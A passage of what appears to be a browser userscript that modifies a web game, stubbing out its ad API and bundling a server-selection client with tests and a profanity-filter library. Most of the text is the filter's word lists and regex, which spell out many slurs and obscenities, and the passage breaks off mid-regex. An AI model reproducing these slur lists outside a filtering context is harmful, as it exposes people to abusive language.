                };

                VultrClient.prototype.stripRegion = function(region) {
                    if (region.startsWith("vultr:")) {
                        region = region.slice(6);
                    } else if (region.startsWith("do:")) {
                        region = region.slice(3);
                    }
                    return region;
                };

                window.testVultrClient = function() {
                    var assertIndex = 1;
                    function assert(actual, expected) {
                        actual = `${actual}`;
                        expected = `${expected}`;
                        if (actual == expected) {
                            console.log(`Assert ${assertIndex} passed.`)
                        } else {
                            console.warn(`Assert ${assertIndex} failed. Expected ${expected}, got ${actual}.`)
                        }
                        assertIndex++;
                    }

                    function generateServerList(regions) {
                        var servers = [];
                        for (var region in regions) {
                            var regionServers = regions[region];
                            for (var i = 0; i < regionServers.length; i++) {
                                servers.push({
                                    ip: region + ":" + i,
                                    scheme: "testing",
                                    region: region,
                                    index: i,
                                    games: regionServers[i].map(p => { return { playerCount: p, isPrivate: false }; })
                                });
                            }
                        }
                        return servers;
                    }

                    // Test 1
                    var maxPlayers = 5;
                    var client1 = new VultrClient("test.io", -1, maxPlayers, 1, false);
                    var lastError = undefined;
                    client1.errorCallback = function(error) { lastError = error };
                    client1.processServers(generateServerList({
                        1: [[0, 0, 0, 0], [0, 0, 0, 0]],
                        2: [[maxPlayers, 1, 0, 0], [0, 0, 0, 0]],
                        3: [[maxPlayers, 0, 1, maxPlayers], [0, 0, 0, 0]],
                        4: [[maxPlayers, 1, 1, maxPlayers], [1, 0, 0, 0]],
                        5: [[maxPlayers, 1, 1, maxPlayers], [1, 0, maxPlayers-1, 0]],
                        6: [[maxPlayers, maxPlayers, maxPlayers, maxPlayers], [2, 3, 1, 4]],
                        7: [[maxPlayers, maxPlayers, maxPlayers, maxPlayers], [maxPlayers, maxPlayers, maxPlayers, maxPlayers]],
                    }));
                    assert(client1.seekServer(1, false), [1, 0, 0]);
                    assert(client1.seekServer(1, true), [1, 1, 3]);
                    assert(client1.seekServer(2, false), [2, 0, 1]);
                    assert(client1.seekServer(2, true), [2, 1, 3]);
                    assert(client1.seekServer(3, false), [3, 0, 2]);
                    assert(client1.seekServer(3, true), [3, 1, 3]);
                    assert(client1.seekServer(4, false), [4, 0, 1]);
                    assert(client1.seekServer(4, true), [4, 1, 3]);
                    assert(client1.seekServer(5, false), [5, 1, 2]);
                    assert(client1.seekServer(5, true), [5, 1, 3]);
                    assert(client1.seekServer(6, false), [6, 1, 3]);
                    assert(client1.seekServer(6, true), undefined);
                    assert(client1.seekServer(7, false), undefined);
                    assert(client1.seekServer(7, true), undefined);

                    console.log("Tests passed.");
                };

                // FLATMAP:
                var concat = function(x, y) { return x.concat(y) };

                var flatMap = function(f, xs) { return xs.map(f).reduce(concat, []); };

                Array.prototype.flatMap = function(f) {
                    return flatMap(f, this)
                };

                module.exports = VultrClient;


                /***/ })

            /******/ });
        //# sourceMappingURL=bundle.js.map
    };

    window.cpmstarAPI = unsafeWindow.cpmstarAPI = () => {};
    /*
todo:
-fcheckwaing
*/
    function duneMod() {
        var tC = 0;
        /******/ (function(modules) { // webpackBootstrap
            /******/ 	// The module cache
            /******/ 	var installedModules = {};
            /******/
            /******/ 	// The require function
            /******/ 	function __webpack_require__(moduleId) {
                /******/
                /******/ 		// Check if module is in cache
                /******/ 		if(installedModules[moduleId]) {
                    /******/ 			return installedModules[moduleId].exports;
                    /******/ 		}
                /******/ 		// Create a new module (and put it into the cache)
                /******/ 		var module = installedModules[moduleId] = {

                    /******/ 			i: moduleId,
                    /******/ 			l: false,
                    /******/ 			exports: {}
                    /******/ 		};
                /******/
                /******/ 		// Execute the module function
                /******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
                /******/
                /******/ 		// Flag the module as loaded
                /******/ 		module.l = true;
                /******/
                /******/ 		// Return the exports of the module
                /******/ 		return module.exports;
                /******/ 	}
            /******/
            /******/
            /******/ 	// expose the modules object (__webpack_modules__)
            /******/ 	__webpack_require__.m = modules;
            /******/
            /******/ 	// expose the module cache
            /******/ 	__webpack_require__.c = installedModules;
            /******/
            /******/ 	// define getter function for harmony exports
            /******/ 	__webpack_require__.d = function(exports, name, getter) {
                /******/ 		if(!__webpack_require__.o(exports, name)) {
                    /******/ 			Object.defineProperty(exports, name, { enumerable: true, get: getter });
                    /******/ 		}
                /******/ 	};
            /******/
            /******/ 	// define __esModule on exports
            /******/ 	__webpack_require__.r = function(exports) {
                /******/ 		if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
                    /******/ 			Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
                    /******/ 		}
                /******/ 		Object.defineProperty(exports, '__esModule', { value: true });
                /******/ 	};
            /******/
            /******/ 	// create a fake namespace object
            /******/ 	// mode & 1: value is a module id, require it
            /******/ 	// mode & 2: merge all properties of value into the ns
            /******/ 	// mode & 4: return value when already ns object
            /******/ 	// mode & 8|1: behave like require
            /******/ 	__webpack_require__.t = function(value, mode) {
                /******/ 		if(mode & 1) value = __webpack_require__(value);
                /******/ 		if(mode & 8) return value;
                /******/ 		if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
                /******/ 		var ns = Object.create(null);
                /******/ 		__webpack_require__.r(ns);
                /******/ 		Object.defineProperty(ns, 'default', { enumerable: true, value: value });
                /******/ 		if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
                /******/ 		return ns;
                /******/ 	};
            /******/
            /******/ 	// getDefaultExport function for compatibility with non-harmony modules
            /******/ 	__webpack_require__.n = function(module) {
                /******/ 		var getter = module && module.__esModule ?
                    /******/ 			function getDefault() { return module['default']; } :
                /******/ 			function getModuleExports() { return module; };
                /******/ 		__webpack_require__.d(getter, 'a', getter);
                /******/ 		return getter;
                /******/ 	};
            /******/
            /******/ 	// Object.prototype.hasOwnProperty.call
            /******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
            /******/
            /******/ 	// __webpack_public_path__
            /******/ 	__webpack_require__.p = "";
            /******/
            /******/
            /******/ 	// Load entry module and return exports
            /******/ 	return __webpack_require__(__webpack_require__.s = "./src/js/app.js");
            /******/ })
        /************************************************************************/
        /******/ ({

            /***/ "./node_modules/bad-words/lib/badwords.js":
            /*!************************************************!*\
  !*** ./node_modules/bad-words/lib/badwords.js ***!
  \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                const localList = __webpack_require__(/*! ./lang.json */ "./node_modules/bad-words/lib/lang.json").words;
                const baseList = __webpack_require__(/*! badwords-list */ "./node_modules/badwords-list/lib/index.js").array;

                class Filter {

                    /**
   * Filter constructor.
   * @constructor
   * @param {object} options - Filter instance options
   * @param {boolean} options.emptyList - Instantiate filter with no blacklist
   * @param {array} options.list - Instantiate filter with custom list
   * @param {string} options.placeHolder - Character used to replace profane words.
   * @param {string} options.regex - Regular expression used to sanitize words before comparing them to blacklist.
   * @param {string} options.replaceRegex - Regular expression used to replace profane words with placeHolder.
   */
                    constructor(options = {}) {
                        Object.assign(this, {
                            list: options.emptyList && [] || Array.prototype.concat.apply(localList, [baseList, options.list || []]),
                            exclude: options.exclude || [],
                            placeHolder: options.placeHolder || '*',
                            regex: options.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
                            replaceRegex: options.replaceRegex || /\w/g
                        })
                    }

                    /**
   * Determine if a string contains profane language.
   * @param {string} string - String to evaluate for profanity.
   */
                    isProfane(string) {
                        return this.list
                            .filter((word) => {
                            const wordExp = new RegExp(`\\b${word.replace(/(\W)/g, '\\$1')}\\b`, 'gi');
                            return !this.exclude.includes(word.toLowerCase()) && wordExp.test(string);
                        })
                            .length > 0 || false;
                    }

                    /**
   * Replace a word with placeHolder characters;
   * @param {string} string - String to replace.
   */
                    replaceWord(string) {
                        return string
                            .replace(this.regex, '')
                            .replace(this.replaceRegex, this.placeHolder);
                    }

                    /**
   * Evaluate a string for profanity and return an edited version.
   * @param {string} string - Sentence to filter.
   */
                    clean(string) {
                        return string.split(/\b/).map((word) => {
                            return this.isProfane(word) ? this.replaceWord(word) : word;
                        }).join('');
                    }

                    /**
   * Add word(s) to blacklist filter / remove words from whitelist filter
   * @param {...string} word - Word(s) to add to blacklist
   */
                    addWords() {
                        let words = Array.from(arguments);

                        this.list.push(...words);

                        words
                            .map(word => word.toLowerCase())
                            .forEach((word) => {
                            if (this.exclude.includes(word)) {
                                this.exclude.splice(this.exclude.indexOf(word), 1);
                            }
                        });
                    }

                    /**
   * Add words to whitelist filter
   * @param {...string} word - Word(s) to add to whitelist.
   */
                    removeWords() {
                        this.exclude.push(...Array.from(arguments).map(word => word.toLowerCase()));
                    }
                }

                module.exports = Filter;

                /***/ }),

            /***/ "./node_modules/bad-words/lib/lang.json":
            /*!**********************************************!*\
  !*** ./node_modules/bad-words/lib/lang.json ***!
  \**********************************************/
            /*! exports provided: words, default */
            /***/ (function(module) {

                module.exports = {"words":["ahole","anus","ash0le","ash0les","asholes","ass","Ass Monkey","Assface","assh0le","assh0lez","asshole","assholes","assholz","asswipe","azzhole","bassterds","bastard","bastards","bastardz","basterds","basterdz","Biatch","bitch","bitches","Blow Job","boffing","butthole","buttwipe","c0ck","c0cks","c0k","Carpet Muncher","cawk","cawks","Clit","cnts","cntz","cock","cockhead","cock-head","cocks","CockSucker","cock-sucker","crap","cum","cunt","cunts","cuntz","dick","dild0","dild0s","dildo","dildos","dilld0","dilld0s","dominatricks","dominatrics","dominatrix","dyke","enema","f u c k","f u c k e r","fag","fag1t","faget","fagg1t","faggit","faggot","fagg0t","fagit","fags","fagz","faig","faigs","fart","flipping the bird","fuck","fucker","fuckin","fucking","fucks","Fudge Packer","fuk","Fukah","Fuken","fuker","Fukin","Fukk","Fukkah","Fukken","Fukker","Fukkin","g00k","God-damned","h00r","h0ar","h0re","hells","hoar","hoor","hoore","jackoff","jap","japs","jerk-off","jisim","jiss","jizm","jizz","knob","knobs","knobz","kunt","kunts","kuntz","Lezzian","Lipshits","Lipshitz","masochist","masokist","massterbait","masstrbait","masstrbate","masterbaiter","masterbate","masterbates","Motha Fucker","Motha Fuker","Motha Fukkah","Motha Fukker","Mother Fucker","Mother Fukah","Mother Fuker","Mother Fukkah","Mother Fukker","mother-fucker","Mutha Fucker","Mutha Fukah","Mutha Fuker","Mutha Fukkah","Mutha Fukker","n1gr","nastt","nigger;","nigur;","niiger;","niigr;","orafis","orgasim;","orgasm","orgasum","oriface","orifice","orifiss","packi","packie","packy","paki","pakie","paky","pecker","peeenus","peeenusss","peenus","peinus","pen1s","penas","penis","penis-breath","penus","penuus","Phuc","Phuck","Phuk","Phuker","Phukker","polac","polack","polak","Poonani","pr1c","pr1ck","pr1k","pusse","pussee","pussy","puuke","puuker","queer","queers","queerz","qweers","qweerz","qweir","recktum","rectum","retard","sadist","scank","schlong","screwing","semen","sex","sexy","Sh!t","sh1t","sh1ter","sh1ts","sh1tter","sh1tz","shit","shits","shitter","Shitty","Shity","shitz","Shyt","Shyte","Shytty","Shyty","skanck","skank","skankee","skankey","skanks","Skanky","slag","slut","sluts","Slutty","slutz","son-of-a-bitch","tit","turd","va1jina","vag1na","vagiina","vagina","vaj1na","vajina","vullva","vulva","w0p","wh00r","wh0re","whore","xrated","xxx","b!+ch","bitch","blowjob","clit","arschloch","fuck","shit","ass","asshole","b!tch","b17ch","b1tch","bastard","bi+ch","boiolas","buceta","c0ck","cawk","chink","cipa","clits","cock","cum","cunt","dildo","dirsa","ejakulate","fatass","fcuk","fuk","fux0r","hoer","hore","jism","kawk","l3itch","l3i+ch","lesbian","masturbate","masterbat*","masterbat3","motherfucker","s.o.b.","mofo","nazi","nigga","nigger","nutsack","phuck","pimpis","pusse","pussy","scrotum","sh!t","shemale","shi+","sh!+","slut","smut","teets","tits","boobs","b00bs","teez","testical","testicle","titt","w00se","jackoff","wank","whoar","whore","*damn","*dyke","*fuck*","*shit*","@$$","amcik","andskota","arse*","assrammer","ayir","bi7ch","bitch*","bollock*","breasts","butt-pirate","cabron","cazzo","chraa","chuj","Cock*","cunt*","d4mn","daygo","dego","dick*","dike*","dupa","dziwka","ejackulate","Ekrem*","Ekto","enculer","faen","fag*","fanculo","fanny","feces","feg","Felcher","ficken","fitt*","Flikker","foreskin","Fotze","Fu(*","fuk*","futkretzn","gook","guiena","h0r","h4x0r","hell","helvete","hoer*","honkey","Huevon","hui","injun","jizz","kanker*","kike","klootzak","kraut","knulle","kuk","kuksuger","Kurac","kurwa","kusi*","kyrpa*","lesbo","mamhoon","masturbat*","merd*","mibun","monkleigh","mouliewop","muie","mulkku","muschi","nazis","nepesaurio","nigger*","orospu","paska*","perse","picka","pierdol*","pillu*","pimmel","piss*","pizda","poontsee","poop","porn","p0rn","pr0n","preteen","pula","pule","puta","puto","qahbeh","queef*","rautenberg","schaffer","scheiss*","schlampe","schmuck","screw","sh!t*","sharmuta","sharmute","shipal","shiz","skribz","skurwysyn","sphencter","spic","spierdalaj","splooge","suka","b00b*","testicle*","titt*","twat","vittu","wank*","wetback*","wichser","wop*","yed","zabourah"]};

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/array.js":
            /*!*************************************************!*\
  !*** ./node_modules/badwords-list/lib/array.js ***!
  \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse", "arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole", "assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag", "balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs", "booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt", "butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk", "chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck", "cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka", "cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming", "cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick", "cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck", "cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings", "ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging", "faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker", "felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked", "fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange", "fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead", "fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", "goatse", "God", "god-dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off", "jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob", "knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock", "kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch", "l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked", "mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings", "mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker", "motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka", "motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther", "mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah", "niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky", "nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms", "p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk", "phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis", "piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing", "pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks", "pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard", "rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat", "scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger", "shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited", "shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits", "shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank", "slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk", "s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit", "titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck", "tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty", "twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se", "wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated", "xxx"];

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/index.js":
            /*!*************************************************!*\
  !*** ./node_modules/badwords-list/lib/index.js ***!
  \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                module.exports = {
                    object: __webpack_require__(/*! ./object */ "./node_modules/badwords-list/lib/object.js"),
                    array: __webpack_require__(/*! ./array */ "./node_modules/badwords-list/lib/array.js"),
                    regex: __webpack_require__(/*! ./regexp */ "./node_modules/badwords-list/lib/regexp.js")
                };

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/object.js":
            /*!**************************************************!*\
  !*** ./node_modules/badwords-list/lib/object.js ***!
  \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = {"4r5e": 1, "5h1t": 1, "5hit": 1, "a55": 1, "anal": 1, "anus": 1, "ar5e": 1, "arrse": 1, "arse": 1, "ass": 1, "ass-fucker": 1, "asses": 1, "assfucker": 1, "assfukka": 1, "asshole": 1, "assholes": 1, "asswhole": 1, "a_s_s": 1, "b!tch": 1, "b00bs": 1, "b17ch": 1, "b1tch": 1, "ballbag": 1, "balls": 1, "ballsack": 1, "bastard": 1, "beastial": 1, "beastiality": 1, "bellend": 1, "bestial": 1, "bestiality": 1, "bi+ch": 1, "biatch": 1, "bitch": 1, "bitcher": 1, "bitchers": 1, "bitches": 1, "bitchin": 1, "bitching": 1, "bloody": 1, "blow job": 1, "blowjob": 1, "blowjobs": 1, "boiolas": 1, "bollock": 1, "bollok": 1, "boner": 1, "boob": 1, "boobs": 1, "booobs": 1, "boooobs": 1, "booooobs": 1, "booooooobs": 1, "breasts": 1, "buceta": 1, "bugger": 1, "bum": 1, "bunny fucker": 1, "butt": 1, "butthole": 1, "buttmuch": 1, "buttplug": 1, "c0ck": 1, "c0cksucker": 1, "carpet muncher": 1, "cawk": 1, "chink": 1, "cipa": 1, "cl1t": 1, "clit": 1, "clitoris": 1, "clits": 1, "cnut": 1, "cock": 1, "cock-sucker": 1, "cockface": 1, "cockhead": 1, "cockmunch": 1, "cockmuncher": 1, "cocks": 1, "cocksuck": 1, "cocksucked": 1, "cocksucker": 1, "cocksucking": 1, "cocksucks": 1, "cocksuka": 1, "cocksukka": 1, "cok": 1, "cokmuncher": 1, "coksucka": 1, "coon": 1, "cox": 1, "crap": 1, "cum": 1, "cummer": 1, "cumming": 1, "cums": 1, "cumshot": 1, "cunilingus": 1, "cunillingus": 1, "cunnilingus": 1, "cunt": 1, "cuntlick": 1, "cuntlicker": 1, "cuntlicking": 1, "cunts": 1, "cyalis": 1, "cyberfuc": 1, "cyberfuck": 1, "cyberfucked": 1, "cyberfucker": 1, "cyberfuckers": 1, "cyberfucking": 1, "d1ck": 1, "damn": 1, "dick": 1, "dickhead": 1, "dildo": 1, "dildos": 1, "dink": 1, "dinks": 1, "dirsa": 1, "dlck": 1, "dog-fucker": 1, "doggin": 1, "dogging": 1, "donkeyribber": 1, "doosh": 1, "duche": 1, "dyke": 1, "ejaculate": 1, "ejaculated": 1, "ejaculates": 1, "ejaculating": 1, "ejaculatings": 1, "ejaculation": 1, "ejakulate": 1, "f u c k": 1, "f u c k e r": 1, "f4nny": 1, "fag": 1, "fagging": 1, "faggitt": 1, "faggot": 1, "faggs": 1, "fagot": 1, "fagots": 1, "fags": 1, "fanny": 1, "fannyflaps": 1, "fannyfucker": 1, "fanyy": 1, "fatass": 1, "fcuk": 1, "fcuker": 1, "fcuking": 1, "feck": 1, "fecker": 1, "felching": 1, "fellate": 1, "fellatio": 1, "fingerfuck": 1, "fingerfucked": 1, "fingerfucker": 1, "fingerfuckers": 1, "fingerfucking": 1, "fingerfucks": 1, "fistfuck": 1, "fistfucked": 1, "fistfucker": 1, "fistfuckers": 1, "fistfucking": 1, "fistfuckings": 1, "fistfucks": 1, "flange": 1, "fook": 1, "fooker": 1, "fuck": 1, "fucka": 1, "fucked": 1, "fucker": 1, "fuckers": 1, "fuckhead": 1, "fuckheads": 1, "fuckin": 1, "fucking": 1, "fuckings": 1, "fuckingshitmotherfucker": 1, "fuckme": 1, "fucks": 1, "fuckwhit": 1, "fuckwit": 1, "fudge packer": 1, "fudgepacker": 1, "fuk": 1, "fuker": 1, "fukker": 1, "fukkin": 1, "fuks": 1, "fukwhit": 1, "fukwit": 1, "fux": 1, "fux0r": 1, "f_u_c_k": 1, "gangbang": 1, "gangbanged": 1, "gangbangs": 1, "gaylord": 1, "gaysex": 1, "goatse": 1, "God": 1, "god-dam": 1, "god-damned": 1, "goddamn": 1, "goddamned": 1, "hardcoresex": 1, "hell": 1, "heshe": 1, "hoar": 1, "hoare": 1, "hoer": 1, "homo": 1, "hore": 1, "horniest": 1, "horny": 1, "hotsex": 1, "jack-off": 1, "jackoff": 1, "jap": 1, "jerk-off": 1, "jism": 1, "jiz": 1, "jizm": 1, "jizz": 1, "kawk": 1, "knob": 1, "knobead": 1, "knobed": 1, "knobend": 1, "knobhead": 1, "knobjocky": 1, "knobjokey": 1, "kock": 1, "kondum": 1, "kondums": 1, "kum": 1, "kummer": 1, "kumming": 1, "kums": 1, "kunilingus": 1, "l3i+ch": 1, "l3itch": 1, "labia": 1, "lust": 1, "lusting": 1, "m0f0": 1, "m0fo": 1, "m45terbate": 1, "ma5terb8": 1, "ma5terbate": 1, "masochist": 1, "master-bate": 1, "masterb8": 1, "masterbat*": 1, "masterbat3": 1, "masterbate": 1, "masterbation": 1, "masterbations": 1, "masturbate": 1, "mo-fo": 1, "mof0": 1, "mofo": 1, "mothafuck": 1, "mothafucka": 1, "mothafuckas": 1, "mothafuckaz": 1, "mothafucked": 1, "mothafucker": 1, "mothafuckers": 1, "mothafuckin": 1, "mothafucking": 1, "mothafuckings": 1, "mothafucks": 1, "mother fucker": 1, "motherfuck": 1, "motherfucked": 1, "motherfucker": 1, "motherfuckers": 1, "motherfuckin": 1, "motherfucking": 1, "motherfuckings": 1, "motherfuckka": 1, "motherfucks": 1, "muff": 1, "mutha": 1, "muthafecker": 1, "muthafuckker": 1, "muther": 1, "mutherfucker": 1, "n1gga": 1, "n1gger": 1, "nazi": 1, "nigg3r": 1, "nigg4h": 1, "nigga": 1, "niggah": 1, "niggas": 1, "niggaz": 1, "nigger": 1, "niggers": 1, "nob": 1, "nob jokey": 1, "nobhead": 1, "nobjocky": 1, "nobjokey": 1, "numbnuts": 1, "nutsack": 1, "orgasim": 1, "orgasims": 1, "orgasm": 1, "orgasms": 1, "p0rn": 1, "pawn": 1, "pecker": 1, "penis": 1, "penisfucker": 1, "phonesex": 1, "phuck": 1, "phuk": 1, "phuked": 1, "phuking": 1, "phukked": 1, "phukking": 1, "phuks": 1, "phuq": 1, "pigfucker": 1, "pimpis": 1, "piss": 1, "pissed": 1, "pisser": 1, "pissers": 1, "pisses": 1, "pissflaps": 1, "pissin": 1, "pissing": 1, "pissoff": 1, "poop": 1, "porn": 1, "porno": 1, "pornography": 1, "pornos": 1, "prick": 1, "pricks": 1, "pron": 1, "pube": 1, "pusse": 1, "pussi": 1, "pussies": 1, "pussy": 1, "pussys": 1, "rectum": 1, "retard": 1, "rimjaw": 1, "rimming": 1, "s hit": 1, "s.o.b.": 1, "sadist": 1, "schlong": 1, "screwing": 1, "scroat": 1, "scrote": 1, "scrotum": 1, "semen": 1, "sex": 1, "sh!+": 1, "sh!t": 1, "sh1t": 1, "shag": 1, "shagger": 1, "shaggin": 1, "shagging": 1, "shemale": 1, "shi+": 1, "shit": 1, "shitdick": 1, "shite": 1, "shited": 1, "shitey": 1, "shitfuck": 1, "shitfull": 1, "shithead": 1, "shiting": 1, "shitings": 1, "shits": 1, "shitted": 1, "shitter": 1, "shitters": 1, "shitting": 1, "shittings": 1, "shitty": 1, "skank": 1, "slut": 1, "sluts": 1, "smegma": 1, "smut": 1, "snatch": 1, "son-of-a-bitch": 1, "spac": 1, "spunk": 1, "s_h_i_t": 1, "t1tt1e5": 1, "t1tties": 1, "teets": 1, "teez": 1, "testical": 1, "testicle": 1, "tit": 1, "titfuck": 1, "tits": 1, "titt": 1, "tittie5": 1, "tittiefucker": 1, "titties": 1, "tittyfuck": 1, "tittywank": 1, "titwank": 1, "tosser": 1, "turd": 1, "tw4t": 1, "twat": 1, "twathead": 1, "twatty": 1, "twunt": 1, "twunter": 1, "v14gra": 1, "v1gra": 1, "vagina": 1, "viagra": 1, "vulva": 1, "w00se": 1, "wang": 1, "wank": 1, "wanker": 1, "wanky": 1, "whoar": 1, "whore": 1, "willies": 1, "willy": 1, "xrated": 1, "xxx": 1};

                /***/ }),

            /***/ "./node_modules/badwords-list/lib/regexp.js":
            /*!**************************************************!*\
  !*** ./node_modules/badwords-list/lib/regexp.js ***!
  \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge 